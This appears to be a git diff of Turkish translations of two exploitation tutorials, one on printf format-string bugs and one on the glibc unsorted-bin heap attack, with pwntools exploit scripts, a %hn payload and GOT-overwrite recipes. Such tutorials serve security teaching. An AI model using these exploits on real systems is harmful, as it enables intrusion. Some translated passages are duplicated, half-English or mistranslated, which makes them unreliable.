diff --git a/src/binary-exploitation/format-strings/README.md b/src/binary-exploitation/format-strings/README.md index 3c4c62251..1078e7592 100644 --- a/src/binary-exploitation/format-strings/README.md +++ b/src/binary-exploitation/format-strings/README.md @@ -3,15 +3,15 @@ {{#include ../../banners/hacktricks-training.md}} -## Temel Bilgiler +## Basic Information -C'de **`printf`** bir stringi **yazdırmak** için kullanılabilen bir fonksiyondur. Bu fonksiyonun beklediği **ilk parametre**, **format belirleyicileriyle birlikte ham metindir**. Beklenen **izleyen parametreler** ise ham metindeki **format belirleyicilerini** **yerine koymak için** kullanılacak **değerlere** karşılık gelir. +C'de **`printf`** bazı dizeleri **yazdırmak** için kullanılan bir fonksiyondur. Bu fonksiyonun beklediği **ilk parametre**, **formatlayıcıları içeren ham metindir**. Takip eden **parametreler** ise ham metindeki **formatlayıcıları** **yerine koymak** için gereken **değerlerdir**. -Diğer savunmasız fonksiyonlar **`sprintf()`** ve **`fprintf()`**'dir. +Diğer zafiyete açık fonksiyonlar **`sprintf()`** ve **`fprintf()`**'dir. -Zafiyet, bu fonksiyona **saldırgan tarafından oluşturulmuş bir metnin ilk argüman olarak verilmesi** durumunda ortaya çıkar. Saldırgan, **printf format string** yeteneklerini kötüye kullanarak özel bir girdi oluşturabilecek ve böylece herhangi bir adresten **herhangi bir veriyi okumak ve yazmak (okunabilir/yazılabilir)** imkanına sahip olacaktır. Bu yolla **rastgele kod çalıştırma** mümkün hale gelir. +Zafiyet, bu fonksiyona **saldırgan metninin ilk argüman olarak verilmesi** durumunda ortaya çıkar. Saldırgan, **printf format** string yeteneklerini suistimal ederek okunabilir ve **herhangi bir adresteki herhangi bir veriyi yazmak (okunabilir/yazılabilir)** için **özel bir girdi** oluşturabilir ve bu yolla **istediği herhangi bir kodu çalıştırabilir**. -#### Format belirleyicileri: +#### Formatters: ```bash %08x —> 8 hex bytes %d —> Entire @@ -39,7 +39,7 @@ printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5 ```c printf("%x %x %x", value); // Unexpected output: reads random values from the stack. ``` -- fprintf zafiyeti: +- fprintf güvenlik açığı olan: ```c #include @@ -54,26 +54,26 @@ return 0; ``` ### **İşaretçilere Erişim** -Biçim **`%$x`**, burada `n` bir sayı olup, printf'in stack'ten n. parametreyi seçmesini sağlar. Yani stack'ten 4. parametreyi printf ile okumak istiyorsanız şu şekilde yapabilirsiniz: +Biçim **`%$x`**, burada `n` bir sayıdır, printf'e stack'ten n. parametreyi seçmesini belirtmeyi sağlar. Yani printf kullanarak stack'ten 4. parametreyi okumak istiyorsanız şu şekilde yapabilirsiniz: ```c printf("%x %x %x %x") ``` -ve birinci ile dördüncü parametreyi okurdunuz. +ve birinci parametreden dördüncü parametreye kadar okurdunuz. -Ya da şunu yapabilirdiniz: +Veya şöyle yapabilirsiniz: ```c printf("%4$x") ``` ve doğrudan dördüncüyü okumak. -Dikkat edin ki saldırgan `printf` **parameter'ını kontrol eder, bu temel olarak demektir ki** onun girdisi `printf` çağrıldığında stack'te olacak; bu da stack'e belirli address'ler yazabileceği anlamına gelir. +Dikkat edin ki saldırgan `printf` **parameter`ını kontrol eder; bu temelde** girdisinin `printf` çağrıldığında stack'te olacağı anlamına gelir, bu da stack'e belirli memory addresses yazabileceği anlamına gelir. > [!CAUTION] -> Bu girdiyi kontrol eden bir saldırgan, stack'e **istediği address'i ekleyebilecek ve `printf`'in bunlara erişmesini sağlayabilecektir**. Bir sonraki bölümde bu davranışın nasıl kullanılacağı açıklanacaktır. +> Bu girdiyi kontrol eden bir saldırgan, **stack'e arbitrary address ekleyip `printf`'in onlara erişmesini sağlayabilir**. Bir sonraki bölümde bu davranışın nasıl kullanılacağı açıklanacaktır. ## **Arbitrary Read** -`%n$s` **formatter**'ını kullanarak **`printf`**'in **n pozisyonunda** bulunan **address**'i almasını, onu takip etmesini ve **sanki bir stringmiş gibi yazdırmasını** (0x00 bulunana kadar yazdırır) sağlamak mümkündür. Bu yüzden eğer binary'nin base address'i **`0x8048000`** ise ve kullanıcı girdisinin stack'te 4. pozisyonda başladığını biliyorsak, binary'nin başlangıcını şu şekilde yazdırmak mümkündür: +`%n$s` formatlayıcısını kullanarak `printf`'in **n position**'da bulunan **address**'i almasını, onun izini takip etmesini ve **bir stringmiş gibi yazdırmasını** (0x00 bulunana kadar yazdırır) sağlamak mümkündür. Bu nedenle binary'nin base address'i `0x8048000` ise ve user input'un stack'te 4th position'da başladığını biliyorsak, binary'nin başlangıcını şu şekilde yazdırmak mümkündür: ```python from pwn import * @@ -87,11 +87,11 @@ p.sendline(payload) log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' ``` > [!CAUTION] -> 0x8048000 adresini input'un başına koyamazsınız çünkü string o adresin sonunda 0x00 ile kesilecektir. +> input'un başına 0x8048000 adresini koyamayacağınızı unutmayın çünkü string o adresin sonunda 0x00'da cat olacaktır. -### Find offset +### Ofseti bul -input'unuza olan offset'i bulmak için 4 veya 8 bytes (`0x41414141`) gönderip ardından **`%1$x`** ekleyebilir ve **değeri artırarak** `A's`'ları alana kadar ilerleyebilirsiniz. +input'unuzun ofsetini bulmak için 4 veya 8 byte (`0x41414141`) gönderebilir, bunu **`%1$x`** ile takip edebilir ve `A's` geri gelene kadar değeri **artırabilirsiniz**.
@@ -126,60 +126,60 @@ p.close() ```
-### Ne işe yarar +### Ne kadar yararlı -Arbitrary reads şu amaçlarla faydalı olabilir: +Arbitrary reads şu amaçlarla yararlı olabilir: -- **Dump** bellekteki **binary**'yi çıkarmak -- Belleğin hassas **info**'nun saklandığı belirli bölümlerine erişmek (ör. **canaries**, **encryption keys** veya özel parolalar; örneğin bu [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) +- Bellekten **binary**'yi **Dump** etmek +- Hassas **info**'nun saklandığı **memory**'nin belirli bölümlerine erişmek (ör. canaries, encryption keys veya custom passwords gibi bu [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) ## **Arbitrary Write** -Formatlayıcı **`%$n`** **yazar** stack'teki parametresinin gösterdiği **yazılan byte sayısını** **gösterilen adrese**. Eğer bir saldırgan printf ile istediği kadar karakter yazabiliyorsa, **`%$n`**'in herhangi bir sayıyı herhangi bir adrese yazmasını sağlayabilir. +The formatter **`%$n`** stack'teki parametresinin gösterdiği adrese yazılmış byte sayısını yazar. Eğer bir saldırgan printf ile istediği kadar char yazabiliyorsa, **`%$n`** ile herhangi bir adrese arbitrary bir sayı yazdırabilir. -Neyse ki, 9999 sayısını yazmak için girdiye 9999 tane "A" eklemeye gerek yok; bunun yerine formatlayıcı **`%.%$n`** kullanılarak **``** sayısını **`num` pozisyonunun işaret ettiği adrese** yazmak mümkündür. +Neyse ki 9999 sayısını yazdırmak için input'a 9999 adet "A" eklemeye gerek yok; bunun yerine formatör **`%.%$n`** kullanılarak **``** sayısı `num` pozisyonunun gösterdiği adrese yazılabilir. ```bash AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 ``` -Ancak, genellikle `0x08049724` gibi bir adresi yazmak (tek seferde yazılması çok BÜYÜK bir sayı olduğu için), **`$hn`** kullanılır `$n` yerine. Bu, **sadece 2 Byte yazmaya** izin verir. Bu nedenle bu işlem iki kez yapılır: adresin yüksek 2B'si için bir kez ve düşük olanlar için bir kez daha. +Ancak, genellikle `0x08049724` gibi bir adresi yazmak (ki bu bir kerede yazmak için ÇOK BÜYÜK bir sayı) için **`$n` yerine `$hn` kullanılır**. Bu, **sadece 2 Bytes yazılmasını** sağlar. Bu yüzden bu işlem iki kez yapılır; bir kez adresin en yüksek 2B'si için ve bir kez en düşükleri için. -Dolayısıyla, bu zafiyet herhangi bir adrese **herhangi bir şeyi yazmaya (arbitrary write)** izin verir. +Bu nedenle, bu zafiyet herhangi bir adrese **herhangi bir şeyi yazma (arbitrary write)** imkanı verir. -Bu örnekte amaç, daha sonra çağrılacak olan GOT tablosundaki bir fonksiyonun **adresini** **üzerine yazmak (overwrite)** olacak. Ancak bu, diğer arbitrary write -> exec teknikleriyle de sömürülebilir: +Bu örnekte amaç, daha sonra çağrılacak bir **function**'ın **GOT** tablosundaki **address**'ini **overwrite** etmektir. Ancak bu, diğer arbitrary write to exec tekniklerini de kullanabilir: {{#ref}} ../arbitrary-write-2-exec/ {{#endref}} -Kullanıcının argümanlarını alan bir fonksiyonu **overwrite** edip bunu `system` fonksiyonuna **işaret edeceğiz**.\ -Bahsedildiği gibi, adresi yazmak genellikle 2 adım gerektirir: önce adresin 2 Byte'ını yazarsınız, sonra diğer 2 Byte'ı. Bunu yapmak için **`$hn`** kullanılır. +Kullanıcıdan argümanlarını alan bir **function**'ı **overwrite** edip onu **`system`** **function**'ına yönlendireceğiz.\ +Daha önce bahsedildiği gibi, adresi yazmak genellikle 2 adım gerektirir: Önce adresin **2Bytes**'ını yazarsınız, sonra diğer 2'sini. Bunun için **`$hn`** kullanılır. -- **HOB**, adresin üst 2 byteları için kullanılır -- **LOB**, adresin alt 2 byteları için kullanılır +- **HOB** is called to the 2 higher bytes of the address +- **LOB** is called to the 2 lower bytes of the address -Daha sonra, format string'in çalışma şekli nedeniyle önce [HOB, LOB] içindeki **küçüğü** yazmanız, sonra diğerini yazmanız gerekir. +Sonra, format string'in çalışma şekli nedeniyle önce [HOB, LOB] arasındaki **en küçük olanı** yazmanız ve sonra diğerini yazmanız gerekir. -Eğer HOB < LOB\ +If HOB < LOB\ `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` -Eğer HOB > LOB\ +If HOB > LOB\ `[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]` HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB ```bash python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"' ``` -### Pwntools Şablonu +### Pwntools Template -Bu tür bir zafiyet için bir exploit hazırlamak üzere bir **şablon** bulabilirsiniz: +Bu tür bir zafiyeti exploit etmek için bir **şablon** şu adreste bulunabilir: {{#ref}} format-strings-template.md {{#endref}} -Ya da [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) adresindeki bu temel örnek: +Veya [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) adresindeki bu temel örnek: ```python from pwn import * @@ -200,12 +200,12 @@ p.interactive() ``` ## Format Strings to BOF -Bir format string açığının write işlemlerini kötüye kullanarak stack üzerindeki adreslere yazmak ve bir buffer overflow türü açığını exploit etmek mümkündür. +Bir format string açığının yazma işlemlerini suistimal ederek stack adreslerine yazmak ve bir buffer overflow türündeki açığı exploit etmek mümkündür. ## Windows x64: Format-string leak to bypass ASLR (no varargs) -Windows x64'te ilk dört integer/pointer parametre RCX, RDX, R8, R9 register'larında geçirilir. Birçok hatalı call-site'te attacker-controlled string format argument olarak kullanılır fakat hiçbir variadic argument sağlanmaz, örneğin: +Windows x64'te ilk dört integer/pointer parametre register'larda geçirilir: RCX, RDX, R8, R9. Birçok hatalı call-site'te attacker-controlled string format argument olarak kullanılır ancak hiç variadic arguments sağlanmaz, örneğin: ```c // keyData is fully controlled by the client // _snprintf(dst, len, fmt, ...) @@ -215,9 +215,9 @@ Because no varargs are passed, any conversion like "%p", "%x", "%s" will cause t Pratik iş akışı: -- Saldırgan-kontrolündeki string'in en başına "%p " gibi zararsız bir format enjekte edin, böylece ilk dönüşüm herhangi bir filtrelemeden önce çalışır. -- Leak edilen pointer'ı yakalayın, o objenin modül içindeki statik offset'ini belirleyin (bir kere symbol'lerle veya yerel bir kopya ile reverse ederek) ve image base'i `leak - known_offset` olarak geri kazanın. -- Bu base'i uzak olarak ROP gadgets ve IAT entries için mutlak adresler hesaplamak üzere yeniden kullanın. +- Saldırgan kontrollü string'in en başına, ilk dönüşüm herhangi bir filtrelemeden önce çalışacak şekilde "%p " gibi zararsız bir format enjekte edin. +- Leaked pointer'ı yakalayın, modül içindeki o nesnenin statik offset'ini belirleyin (symbols ile veya yerel bir kopya üzerinde bir kez reversing yaparak) ve image base'i `leak - known_offset` olarak geri kazanın. +- Bu base'i yeniden kullanarak ROP gadget'ları ve IAT girişleri için mutlak adresleri uzaktan hesaplayın. Example (abbreviated python): ```python @@ -231,25 +231,24 @@ leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660 base = leaked - 0x20660 # module base = leak - offset print(hex(leaked), hex(base)) ``` -Notes: -- Çıkarılacak kesin offset, yerel reversing sırasında bir kez bulunur ve sonra yeniden kullanılır (aynı binary/version). -- Eğer "%p" ilk denemede geçerli bir pointer yazdırmıyorsa, diğer specifier'ları ("%llx", "%s") veya birden fazla conversion ("%p %p %p") deneyerek diğer argument registers/stack'i örnekleyin. -- Bu pattern, format string onları istediğinde olmayan varargs'ları registers'tan çeken Windows x64 calling convention ve printf-family implementasyonlarına özgüdür. +Notlar: +- Çıkarılacak kesin offset, yerel reversing sırasında bir kez bulunur ve sonra tekrar kullanılır (same binary/version). +- Eğer "%p" ilk denemede geçerli bir pointer yazdırmıyorsa, diğer specifier'ları ("%llx", "%s") veya diğer argüman register'larını/stack'i örneklemek için birden fazla conversion ("%p %p %p") deneyin. +- Bu desen, Windows x64 calling convention ve printf-family implementasyonlarına özeldir; format string onları istediğinde varargs olmayan değerleri register'lardan çeker. -Bu teknik, ASLR ile derlenmiş ve bariz memory disclosure primitives olmayan Windows services üzerinde ROP'u bootstrap etmek için son derece kullanışlıdır. +Bu teknik, ASLR ile derlenmiş ve belirgin memory disclosure primitives olmayan Windows servislerinde ROP'u bootstrap etmek için son derece kullanışlıdır. -## Diğer Örnekler & Referanslar +## Diğer Örnekler ve Referanslar - [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string) - [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4) - [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak) - [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html) -- 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (no need to alter the execution flow) +- 32 bit, no relro, no canary, nx, no pie; format string'lerin temel kullanımıyla stack'ten flag'i leak etmek (execution flow'u değiştirmeye gerek yok) - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) -- 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win) +- 32 bit, relro, no canary, nx, no pie; fflush adresini win function ile overwrite etmek için format string (ret2win) - [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html) -- 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in `.fini_array` (so the flow loops back 1 more time) and write the address to `system` in the GOT table pointing to `strlen`. When the flow goes back to main, `strlen` is executed with user input and pointing to `system`, it will execute the passed commands. - +- 32 bit, relro, no canary, nx, no pie; `.fini_array` içinde main içine bir adres yazmak için format string (böylece akış 1 kez daha loop'lar) ve GOT tablosunda `strlen`'i işaret eden yeri `system` adresi ile yazmak. Akış main'e geri döndüğünde, `strlen` kullanıcı girdisiyle çalıştırılacak ve `system`'e işaret ettiği için verilen komutları çalıştıracak. ## Referanslar diff --git a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md index beb849ad5..3fb958b6c 100644 --- a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md +++ b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md @@ -4,68 +4,75 @@ ## Temel Bilgiler -Ne olduğunu daha fazla öğrenmek için unsorted bin hakkında şu sayfaya bakın: +For more information about what is an unsorted bin check this page: {{#ref}} bins-and-memory-allocations.md {{#endref}} -Unsorted listleri, chunk'ın `bk` adresine `unsorted_chunks (av)` adresini yazabilirler. Bu nedenle, eğer bir saldırgan unsorted bin içindeki bir chunk'taki `bk` pointerının adresini **değiştirebiliyorsa**, o adresi **rastgele bir adrese yazabilme** imkanına sahip olabilir; bu, Glibc adreslerini leak etmek veya bazı korumaları atlatmak için faydalı olabilir. +Unsorted listeleri, `unsorted_chunks (av)` adresini chunk'ın `bk` adresine yazabilir. Bu yüzden, eğer bir saldırgan unsorted bin içindeki bir chunk'ta `bk` işaretçisinin adresini **değiştirebilirse**, bu adresi **rastgele (arbitrary) bir adrese yazabiliyor**; bu, Glibc adreslerini leak etmek veya bazı savunmaları aşmak için faydalı olabilir. -Yani temelde bu atak, **rastgele bir adrese büyük bir sayı yazmayı** sağlar. Bu büyük sayı bir adrestir; heap adresi veya Glibc adresi olabilir. Geleneksel hedefler arasında fast bin boyutlarını artırmaya izin veren **`global_max_fast`** vardı (ve unsorted bin attack'tan fast bin attack'a geçişi sağlar). +Yani temelde bu saldırı, bir arbitrar adrese **büyük bir sayı yazmaya** izin verir. Bu büyük sayı bir adres olup heap ya da Glibc adresi olabilir. Klasik hedeflerden biri, fast binlerin daha büyük boyutlara izin vermesi için **`global_max_fast`** idi (böylece bir unsorted bin attack'tan fast bin attack'a geçilebilirdi). -- Modern not (glibc ≥ 2.39): `global_max_fast` 8‑bit bir global oldu. Oraya unsorted‑bin write ile körü körüne bir pointer yazmak, bitişik libc verilerini bozacak ve artık fastbin limitini güvenilir şekilde yükseltmeyecektir. glibc 2.39+ karşısında çalışırken diğer hedefleri veya primitifleri tercih edin. Aşağıdaki "Modern constraints" bölümüne bakın ve kararlı bir primitif elde ettiğinizde bunu bir [large bin attack](large-bin-attack.md) veya bir [fast bin attack](fast-bin-attack.md) gibi diğer tekniklerle birleştirmeyi düşünün. +- Modern not (glibc ≥ 2.39): `global_max_fast` 8 bitlik bir global haline geldi. Buraya unsorted-bin write ile körü körüne bir pointer yazmak artık çevresindeki libc verilerini bozacak ve fastbin limitini güvenilir şekilde yükseltmeyecektir. glibc 2.39+ karşısında başka hedefler veya başka primitives tercih edin. Aşağıdaki "Modern constraints" kısmına bakın ve istikrarlı bir primitive elde ettiğinizde bunu bir [large bin attack](large-bin-attack.md) veya bir [fast bin attack](fast-bin-attack.md) ile kombinlemeyi düşünün. > [!TIP] -> T> [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) adresindeki örneğe bakıldığında ve chunk boyutları olarak 0x400 ve 0x500 yerine 0x4000 ve 0x5000 kullanıldığında (Tcache'i önlemek için) **günümüzde** artık **`malloc(): unsorted double linked list corrupted`** hatasının tetiklendiği görülebilir. +> T> aking a look to the example provided in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) and using 0x4000 and 0x5000 instead of 0x400 and 0x500 as chunk sizes (to avoid Tcache) it's possible to see that **nowadays** the error **`malloc(): unsorted double linked list corrupted`** is triggered. > -> Bu nedenle, bu unsorted bin atakı artık (diğer kontrollerin yanında) çift bağlı listeyi düzeltme yeteneğini de gerektiriyor; aksi halde `victim->bk->fd == victim` veya `victim->fd == av (arena)` kontrolleri atlanamıyor. Bu da, yazmak istediğimiz adresin, fake chunk'ın adresini kendi `fd` pozisyonunda barındırması ve fake chunk `fd`'sinin arena'ya işaret etmesi gerektiği anlamına gelir. +> Bu nedenle, günümüzde bu unsorted bin attack (diğer kontrollerin yanında) çift bağlı listeyi düzeltme yeteneği gerektirir: yani `victim->bk->fd == victim` veya `victim->fd == av (arena)` kontrolü atlatılmalı. Bu, yazmak istediğimiz adresteki `fd` pozisyonunun sahte chunk adresini içermesi ve sahte chunk'ın `fd`'sinin arena'ya işaret etmesi gerektiği anlamına gelir. > [!CAUTION] -> Bu atak unsorted bin'i (dolayısıyla small ve large'ı da) bozar. Bu yüzden artık yalnızca **fast bin**'den yapılan allocation'ları kullanabiliriz (daha karmaşık bir program başka allocation'lar yaparsa crash olabilir), ve bunu tetiklemek için **aynı boyutta allocation yapmalıyız yoksa program çöker.** +> Bu saldırının unsorted bin'i bozduğunu unutmayın (dolayısıyla small ve large da etkilenir). Bu yüzden artık **sadece fast bin'den allocation kullanabiliriz** (daha karmaşık bir program başka allocation'lar yapıp çökebilir) ve bunu tetiklemek için **aynı boyutta allocation yapmamız gerekir, yoksa program çöker.** > -> Bu durumda **`global_max_fast`**'ı overwrite etmek, exploit tamamlanana kadar fast bin'in diğer allocation'ları karşılayabileceğine güvenerek yardımcı olabilir. +> `global_max_fast`'ı overwrite etmek bu durumda yardımcı olabilir; fast bin'in exploit tamamlanana kadar diğer allocation'larla başa çıkacağını varsayabilirsiniz. -[**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) tarafından yazılan kod bunu çok iyi açıklıyor; fakat malloc'ları Tcache'e düşmeyecek kadar büyük allocate edecek şekilde değiştirirseniz, daha önce bahsedilen hata ortaya çıkar: **`malloc(): unsorted double linked list corrupted`** +The code from [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) explains it very well, although if you modify the mallocs to allocate memory big enough so don't end in a Tcache you can see that the previously mentioned error appears preventing this technique: **`malloc(): unsorted double linked list corrupted`** -### Yazmanın gerçekte nasıl gerçekleştiği +### How the write actually happens -- Unsorted‑bin yazma, freed chunk unsorted list'in başına eklenirken `free` sırasında tetiklenir. -- Ekleme sırasında allocator şunu yapar: `bck = unsorted_chunks(av); fwd = bck->fd; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;` -- Eğer `free(victim)` çağrısından önce `victim->bk`'yi `(mchunkptr)(TARGET - 0x10)` olarak ayarlayabilirseniz, son ifade şu yazmayı yapar: `*(TARGET) = victim`. -- Daha sonra allocator unsorted bin'i işlerken, unlink etmeden önce bütünlük kontrolleri (başka kontrollerin yanında) `bck->fd == victim` ve `victim->fd == unsorted_chunks(av)` doğrulamasını yapar. Çünkü ekleme zaten `bck->fd`'ye (bizim `TARGET`) `victim`'i yazmıştır, eğer yazma başarılı olduysa bu kontroller sağlanabilir. +- The unsorted-bin write is triggered on `free` when the freed chunk is inserted at the head of the unsorted list. +- During insertion, the allocator performs `bck = unsorted_chunks(av); fwd = bck->fd; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;` +- If you can set `victim->bk` to `(mchunkptr)(TARGET - 0x10)` before calling `free(victim)`, the final statement will perform the write: `*(TARGET) = victim`. +- Later, when the allocator processes the unsorted bin, integrity checks will verify (among other things) that `bck->fd == victim` and `victim->fd == unsorted_chunks(av)` before unlinking. Because the insertion already wrote `victim` into `bck->fd` (our `TARGET`), these checks can be satisfied if the write succeeded. + +### Yazının gerçekte nasıl gerçekleştiği + +- Unsorted-bin yazısı, freed chunk unsorted listenin başına eklendiğinde `free` üzerinde tetiklenir. +- Ekleme sırasında allocator şu işlemleri yapar: `bck = unsorted_chunks(av); fwd = bck->fd; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;` +- Eğer `free(victim)` çağırmadan önce `victim->bk`'i `(mchunkptr)(TARGET - 0x10)` olarak ayarlayabiliyorsanız, son ifade şu yazmayı yapar: `*(TARGET) = victim`. +- Daha sonra allocator unsorted bin'i işlerken unlink etmeden önce (diğer kontrollerin yanında) `bck->fd == victim` ve `victim->fd == unsorted_chunks(av)` doğrulamalarını yapar. Ekleme zaten `bck->fd` (yani bizim `TARGET`) içine `victim` yazdığı için, yazma başarılı olduysa bu kontroller sağlanabilir. ## Modern kısıtlamalar (glibc ≥ 2.33) -Güncel glibc üzerinde unsorted‑bin write'ları güvenilir şekilde kullanmak için: +Güncel glibc'de unsorted‑bin yazılarını güvenilir şekilde kullanmak için: -- Tcache müdahalesi: tcache'e düşen boyutlar için free'lar oraya yönlendirilir ve unsorted bin ile işlem yapmaz. Ya - - istekleri MAX_TCACHE_SIZE'tan (> 64‑bit için genelde ≥ 0x410) büyük boyutlarla yapın, veya - - ilgili tcache bin'ini (7 giriş) doldurun ki ek free'lar global bin'lere ulaşsın, veya - - ortamı kontrol edebiliyorsanız tcache'i devre dışı bırakın (ör. GLIBC_TUNABLES glibc.malloc.tcache_count=0). -- Unsorted liste üzerindeki bütünlük kontrolleri: unsorted bin'i inceleyen sonraki allocation yolunda, glibc (basitleştirilmiş olarak) şunları kontrol eder: - - `bck->fd == victim` ve `victim->fd == unsorted_chunks(av)`; aksi halde `malloc(): unsorted double linked list corrupted` ile abort eder. -- Bu, hedeflediğiniz adresin iki yazmayı tolere etmesi gerektiği anlamına gelir: önce free‑zamanında `*(TARGET) = victim`; daha sonra chunk kaldırılırken `*(TARGET) = unsorted_chunks(av)` (allocator `bck->fd`'yi tekrar bin başına yazar). Sadece büyük, sıfır olmayan bir değer zorlamak işe yarayacak hedefler seçin. -- Modern exploitlerde tipik olarak güvenli hedefler - - Uygulama veya global durumda "büyük" değerleri bayrak/limit olarak işleyen alanlar. - - Dolaylı primitifler (ör. sonrasında bir [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) için hazırlık yapmak veya daha sonra bir write‑what‑where pivotu). - - Yeni glibc'de `__malloc_hook`/`__free_hook`'tan kaçının: bunlar 2.34'te kaldırıldı. `global_max_fast`'ı ≥ 2.39 üzerinde kullanmaktan kaçının (bir sonraki notu görün). +- Tcache müdahalesi: tcache'a giren boyutlar için free'ler oraya yönlendirilir ve unsorted bin'e dokunmaz. Ya + - istekleri MAX_TCACHE_SIZE'tan büyük yapın (64‑bit için varsayılan ≥ 0x410), ya da + - ilgili tcache bin'ini (7 entry) doldurun ki ek free'ler global bin'lere ulaşsın, ya da + - ortam kontrol edilebiliyorsa tcache'i devre dışı bırakın (ör. GLIBC_TUNABLES glibc.malloc.tcache_count=0). +- Unsorted liste üzerinde bütünlük kontrolleri: unsorted bin'i inceleyen sonraki allocation yolunda glibc (basitleştirilmiş): + - `bck->fd == victim` ve `victim->fd == unsorted_chunks(av)` kontrollerini yapar; aksi halde `malloc(): unsorted double linked list corrupted` ile abort eder. + - Bu, hedeflediğiniz adresin iki yazmayı tolere edebilmesi gerektiği anlamına gelir: önce free anında `*(TARGET) = victim`; sonra chunk çıkarılırken `*(TARGET) = unsorted_chunks(av)` (allocator `bck->fd`'i tekrar bin başına yazar). Sadece büyük, sıfır olmayan bir değerin zorlanmasının işe yaradığı hedefleri seçin. +- Modern exploitlerde tipik güvenilir hedefler: + - "Büyük" değerleri bayrak/limit olarak kullanan uygulama veya global durum. + - Dolaylı primitives (ör., sonraki bir [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) için hazırlık ya da daha sonra bir write‑what‑where'a pivot yapmak). + - Yeni glibc'de `__malloc_hook`/`__free_hook`'tan kaçının: 2.34'te kaldırıldılar. `global_max_fast`'ı ≥ 2.39'da kullanmaktan kaçının (bir sonraki notu okuyun). - `global_max_fast` hakkında (yeni glibc) - - glibc 2.39+ üzerinde, `global_max_fast` 8‑bit bir global'dir. Klasik hile olan heap pointer'ını oraya yazmak (fastbinleri büyütmek için) artık düzgün çalışmıyor ve muhtemelen bitişik allocator durumunu bozuyor. Diğer stratejileri tercih edin. + - glibc 2.39+'ta `global_max_fast` 8‑bitlik bir globaldir. Klasik yöntem olan heap pointer'ı buraya yazarak fastbinleri büyütme artık temiz çalışmaz ve muhtemelen allocator durumunu bozacaktır. Diğer stratejileri tercih edin. ## Minimal exploit tarifi (modern glibc) -Amaç: unsorted‑bin insertion primitifi kullanarak çökertmeden heap pointer'ını tek seferlik bir rastgele adrese yazdırmak. +Amaç: unsorted‑bin insertion primitive'ini kullanarak arbitrar bir adrese tek bir heap pointer yazısı elde etmek, programı çökertmeden. -- Düzen/grooming - - Tcache'i atlatacak kadar büyük boyutlarda A, B, C allocate edin (ör. 0x5000). C, top chunk ile konsolidasyonu önler. +- Yerleşim / hazırlık + - Tcache'i atlamak için yeterince büyük boyutlarda A, B, C allocate edin (ör. 0x5000). C top chunk ile birleşmeyi önler. - Bozma - - A'dan B'nin chunk header'ına overflow yaparak `B->bk = (mchunkptr)(TARGET - 0x10)` ayarlayın. + - A'dan B'nin chunk header'ına overflow ile `B->bk = (mchunkptr)(TARGET - 0x10)` ayarlayın. - Tetikleme - - `free(B)`. Ekleme sırasında allocator `bck->fd = B` ifadesini çalıştırır, dolayısıyla `*(TARGET) = B`. + - `free(B)`. Ekleme zamanında allocator `bck->fd = B` çalıştırır; dolayısıyla `*(TARGET) = B`. - Devam - - Eğer allocation yapmaya devam edecekseniz ve program unsorted bin'i kullanıyorsa, allocator'ın daha sonra `*(TARGET) = unsorted_chunks(av)` yazacağını bekleyin. Her iki değer de tipik olarak büyük olup, sadece "büyük" olup olmadığına bakan hedeflerde boyut/limit semantiğini değiştirmek için yeterli olabilir. + - Eğer allocate etmeye devam etmeyi planlıyorsanız ve program unsorted bin'i kullanıyorsa, allocator daha sonra `*(TARGET) = unsorted_chunks(av)` yazacaktır. Her iki değer de tipik olarak büyük olup sadece "büyük" kontrolü yapan hedeflerde boyut/limit semantiğini değiştirmeye yetecektir. Pseudocode skeleton: ```c @@ -80,33 +87,33 @@ void *C = malloc(0x5000); // 